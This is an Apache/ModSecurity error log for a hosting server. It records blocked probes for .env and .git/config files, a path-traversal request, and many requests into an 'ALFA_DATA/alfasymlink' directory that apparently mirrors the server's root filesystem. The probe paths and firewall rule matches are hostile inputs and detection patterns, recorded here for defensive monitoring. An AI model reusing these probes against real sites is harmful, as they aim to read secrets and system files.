[Sun Oct 25 15:18:15.368266 2026] [security2:error] [pid 2887606:tid 2887606] [client 34.95.254.114:60868] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at5V9YQBlHdSZsYqGyvSTgAAAC4"]
[Sun Oct 25 15:18:15.368702 2026] [security2:error] [pid 2887606:tid 2887606] [client 34.95.254.114:60868] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at5V9YQBlHdSZsYqGyvSTgAAAC4"]
[Sun Oct 25 15:18:15.542190 2026] [security2:error] [pid 2887603:tid 2887603] [client 34.95.254.114:60888] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /js../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/js../.env"] [unique_id "at5V9pNNLzHU0mKTaSK9bgAAACs"]
[Sun Oct 25 15:18:15.746374 2026] [security2:error] [pid 2887585:tid 2887585] [client 34.95.254.114:56572] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "sherwinpinturas.com"] [uri "/api"] [unique_id "at5V951xajE3yGGRkQHbdQAAABY"]
[Sun Oct 25 15:18:15.746707 2026] [security2:error] [pid 2887585:tid 2887585] [client 34.95.254.114:56572] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/api"] [unique_id "at5V951xajE3yGGRkQHbdQAAABY"]
[Sun Oct 25 15:18:15.759984 2026] [security2:error] [pid 2887603:tid 2887603] [client 34.95.254.114:60888] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /js../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/js../.env"] [unique_id "at5V9pNNLzHU0mKTaSK9bgAAACs"]
[Sun Oct 25 15:18:15.760109 2026] [security2:error] [pid 2887603:tid 2887603] [client 34.95.254.114:60888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/js../.env"] [unique_id "at5V9pNNLzHU0mKTaSK9bgAAACs"]
[Sun Oct 25 15:18:15.760405 2026] [security2:error] [pid 2887603:tid 2887603] [client 34.95.254.114:60888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/js../.env"] [unique_id "at5V9pNNLzHU0mKTaSK9bgAAACs"]
[Sun Oct 25 15:18:16.042223 2026] [security2:error] [pid 2887603:tid 2887603] [client 34.95.254.114:60888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/js../.env"] [unique_id "at5V9pNNLzHU0mKTaSK9bgAAACs"]
[Sun Oct 25 15:18:16.401638 2026] [security2:error] [pid 2887585:tid 2887585] [client 34.95.254.114:56572] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/api"] [unique_id "at5V951xajE3yGGRkQHbdQAAABY"]
[Sun Oct 25 15:18:17.425865 2026] [security2:error] [pid 2887605:tid 2887605] [client 34.95.254.114:56586] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "sherwinpinturas.com"] [uri "/api"] [unique_id "at5V-YwDu057d6NMEpKgZgAAAC0"]
[Sun Oct 25 15:18:17.426290 2026] [security2:error] [pid 2887605:tid 2887605] [client 34.95.254.114:56586] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/api"] [unique_id "at5V-YwDu057d6NMEpKgZgAAAC0"]
[Sun Oct 25 15:18:17.426589 2026] [security2:error] [pid 2887605:tid 2887605] [client 34.95.254.114:56586] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/api"] [unique_id "at5V-YwDu057d6NMEpKgZgAAAC0"]
[Sun Oct 25 15:18:18.216045 2026] [security2:error] [pid 2887605:tid 2887605] [client 34.95.254.114:56586] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "sherwinpinturas.com"] [uri "/app"] [unique_id "at5V-owDu057d6NMEpKgZwAAAC0"]
[Sun Oct 25 15:18:18.217061 2026] [security2:error] [pid 2887605:tid 2887605] [client 34.95.254.114:56586] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/app"] [unique_id "at5V-owDu057d6NMEpKgZwAAAC0"]
[Sun Oct 25 15:18:18.217416 2026] [security2:error] [pid 2887605:tid 2887605] [client 34.95.254.114:56586] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/app"] [unique_id "at5V-owDu057d6NMEpKgZwAAAC0"]
[Sun Oct 25 15:18:18.622959 2026] [security2:error] [pid 2887571:tid 2887571] [client 34.95.254.114:56606] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "sherwinpinturas.com"] [uri "/app"] [unique_id "at5V-rquaiXZVBY6UkKgrgAAAA4"]
[Sun Oct 25 15:18:18.623312 2026] [security2:error] [pid 2887571:tid 2887571] [client 34.95.254.114:56606] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/app"] [unique_id "at5V-rquaiXZVBY6UkKgrgAAAA4"]
[Sun Oct 25 15:18:18.623589 2026] [security2:error] [pid 2887571:tid 2887571] [client 34.95.254.114:56606] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/app"] [unique_id "at5V-rquaiXZVBY6UkKgrgAAAA4"]
[Sun Oct 25 15:18:22.540643 2026] [security2:error] [pid 2887622:tid 2887622] [client 172.70.248.17:12178] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at5V_jVX-3xmkVl9VH5ZNAAAAD8"]
[Sun Oct 25 15:18:22.541065 2026] [security2:error] [pid 2887622:tid 2887622] [client 172.70.248.17:12178] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at5V_jVX-3xmkVl9VH5ZNAAAAD8"]
[Sun Oct 25 15:18:22.541651 2026] [security2:error] [pid 2887622:tid 2887622] [client 172.70.248.17:12178] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at5V_jVX-3xmkVl9VH5ZNAAAAD8"]
[Sun Oct 25 15:18:26.715843 2026] [ssl:error] [pid 2887599:tid 2887599] (70014)End of file found: [client 3.212.205.90:32130] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:18:50.459497 2026] [ssl:error] [pid 2887631:tid 2887631] (70014)End of file found: [client 52.54.15.103:3403] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:18:58.475274 2026] [ssl:error] [pid 2887622:tid 2887622] (70014)End of file found: [client 52.70.209.13:10129] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:19:00.778959 2026] [core:error] [pid 2885109:tid 2885109] (13)Permission denied: [client 185.191.171.13:36096] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tw_sock_TCPv6/store_user
[Sun Oct 25 15:19:02.254182 2026] [ssl:error] [pid 2887602:tid 2887602] (70014)End of file found: [client 54.221.203.24:62417] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:19:03.401830 2026] [core:error] [pid 2887636:tid 2887636] (13)Permission denied: [client 185.191.171.2:15554] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-256/aliases
[Sun Oct 25 15:19:05.494983 2026] [authz_core:error] [pid 2887633:tid 2887633] [client 130.12.180.168:53268] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.sherwinpinturas.com/php.ini
[Sun Oct 25 15:19:10.267974 2026] [ssl:error] [pid 2885105:tid 2885105] (70014)End of file found: [client 44.221.227.90:9325] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:19:14.430246 2026] [ssl:error] [pid 2887585:tid 2887585] (70014)End of file found: [client 54.85.126.86:62321] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:19:23.182569 2026] [ssl:error] [pid 2887586:tid 2887586] (70014)End of file found: [client 54.156.55.147:38157] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:19:34.610808 2026] [ssl:error] [pid 2887636:tid 2887636] (70014)End of file found: [client 184.73.47.24:18883] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:19:38.236821 2026] [core:error] [pid 2887626:tid 2887626] (13)Permission denied: [client 44.214.19.8:53277] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:01/PNP0501:01/subsystem/drivers/hpet/uevent
[Sun Oct 25 15:19:46.506743 2026] [ssl:error] [pid 2887585:tid 2887585] (70014)End of file found: [client 18.215.49.176:20030] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:19:54.315603 2026] [ssl:error] [pid 2887586:tid 2887586] (70014)End of file found: [client 18.213.240.226:4801] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:19:58.416965 2026] [ssl:error] [pid 2887626:tid 2887626] (70014)End of file found: [client 18.211.148.239:52022] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:20:02.528885 2026] [ssl:error] [pid 2882168:tid 2882168] (70014)End of file found: [client 44.218.170.184:49289] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:20:06.347829 2026] [ssl:error] [pid 2887635:tid 2887635] (70014)End of file found: [client 54.210.155.69:28422] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:20:10.251916 2026] [ssl:error] [pid 2887585:tid 2887585] (70014)End of file found: [client 44.214.19.8:58320] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:20:10.474032 2026] [core:error] [pid 2887636:tid 2887636] (13)Permission denied: [client 85.208.96.204:59526] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/taskstats/trace
[Sun Oct 25 15:20:14.238388 2026] [ssl:error] [pid 2887586:tid 2887586] (70014)End of file found: [client 34.234.206.30:10932] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:20:18.294251 2026] [ssl:error] [pid 2885105:tid 2885105] (70014)End of file found: [client 107.20.25.33:28240] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:20:22.294077 2026] [core:error] [pid 2887585:tid 2887585] (13)Permission denied: [client 44.193.102.198:30042] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/driver/uevent
[Sun Oct 25 15:20:23.555185 2026] [ssl:error] [pid 2887586:tid 2887586] (70014)End of file found: [client 185.191.171.8:13690] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:20:26.422266 2026] [ssl:error] [pid 2887626:tid 2887626] (70014)End of file found: [client 34.230.124.21:63016] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:20:34.595423 2026] [ssl:error] [pid 2885105:tid 2885105] (70014)End of file found: [client 3.222.85.38:25821] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:20:38.461376 2026] [ssl:error] [pid 2887585:tid 2887585] (70014)End of file found: [client 44.194.139.149:37789] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:20:50.386105 2026] [ssl:error] [pid 2887636:tid 2887636] (70014)End of file found: [client 34.224.132.215:36162] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:20:54.283799 2026] [ssl:error] [pid 2887626:tid 2887626] (70014)End of file found: [client 52.7.33.248:52089] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:20:57.578007 2026] [core:error] [pid 2887633:tid 2887633] (13)Permission denied: [client 85.208.96.204:35794] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/taskstats/objects_partial
[Sun Oct 25 15:20:58.396326 2026] [ssl:error] [pid 2885105:tid 2885105] (22)Invalid argument: [client 98.84.60.17:34821] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:21:02.554297 2026] [ssl:error] [pid 2887612:tid 2887612] (70014)End of file found: [client 54.84.161.62:54757] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:21:14.339558 2026] [ssl:error] [pid 2887626:tid 2887626] (70014)End of file found: [client 50.19.102.70:28138] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:21:21.656932 2026] [core:crit] [pid 2887636:tid 2887636] (13)Permission denied: [client 16.216.88.134:12288] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/boot/grub2/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/boot/grub2/' is executable
[Sun Oct 25 15:21:22.746443 2026] [ssl:error] [pid 2887618:tid 2887618] (70014)End of file found: [client 100.25.120.246:44803] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:21:26.348404 2026] [ssl:error] [pid 2887633:tid 2887633] (70014)End of file found: [client 54.88.84.219:3554] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:21:30.432135 2026] [ssl:error] [pid 2882168:tid 2882168] (70014)End of file found: [client 23.21.179.120:39995] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:21:34.606348 2026] [ssl:error] [pid 2887635:tid 2887635] (70014)End of file found: [client 34.227.234.246:13443] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:21:36.647340 2026] [ssl:error] [pid 2887618:tid 2887618] (70014)End of file found: [client 85.208.96.197:56606] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:21:38.379387 2026] [ssl:error] [pid 2887586:tid 2887586] (70014)End of file found: [client 44.207.69.106:18841] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:21:38.938473 2026] [security2:error] [pid 2885109:tid 2885109] [client 216.244.66.250:35186] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/mke2fs.conf"] [unique_id "at5WwoFcUVAO2YtGzyMepAAAAAg"]
[Sun Oct 25 15:21:38.939035 2026] [security2:error] [pid 2885109:tid 2885109] [client 216.244.66.250:35186] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/mke2fs.conf"] [unique_id "at5WwoFcUVAO2YtGzyMepAAAAAg"]
[Sun Oct 25 15:21:38.939555 2026] [security2:error] [pid 2885109:tid 2885109] [client 216.244.66.250:35186] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/mke2fs.conf"] [unique_id "at5WwoFcUVAO2YtGzyMepAAAAAg"]
[Sun Oct 25 15:21:42.308292 2026] [ssl:error] [pid 2887626:tid 2887626] (70014)End of file found: [client 18.232.12.157:43848] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:21:50.399009 2026] [ssl:error] [pid 2882168:tid 2882168] (70014)End of file found: [client 52.54.15.103:34569] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:21:54.332759 2026] [core:error] [pid 2887635:tid 2887635] (13)Permission denied: [client 54.156.248.117:43164] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory15/node0/cpu1/subsystem/drivers_probe
[Sun Oct 25 15:21:58.359657 2026] [core:error] [pid 2887586:tid 2887586] (13)Permission denied: [client 35.169.119.108:38909] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/xen-platform-pci/new_id
[Sun Oct 25 15:22:07.159939 2026] [ssl:error] [pid 2887585:tid 2887585] (70014)End of file found: [client 54.89.90.224:50368] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:22:14.969986 2026] [ssl:error] [pid 2887635:tid 2887635] (70014)End of file found: [client 3.227.180.70:1639] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:22:16.339767 2026] [authz_core:error] [pid 2885109:tid 2885109] [client 143.105.152.54:46403] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 15:22:17.151987 2026] [authz_core:error] [pid 2887626:tid 2887626] [client 143.105.152.54:62276] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 15:22:18.253023 2026] [ssl:error] [pid 2887633:tid 2887633] (70014)End of file found: [client 85.208.96.207:22984] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:22:18.661249 2026] [ssl:error] [pid 2887585:tid 2887585] (70014)End of file found: [client 107.23.62.75:36759] AH02013: coalesce failed to read from data bucket
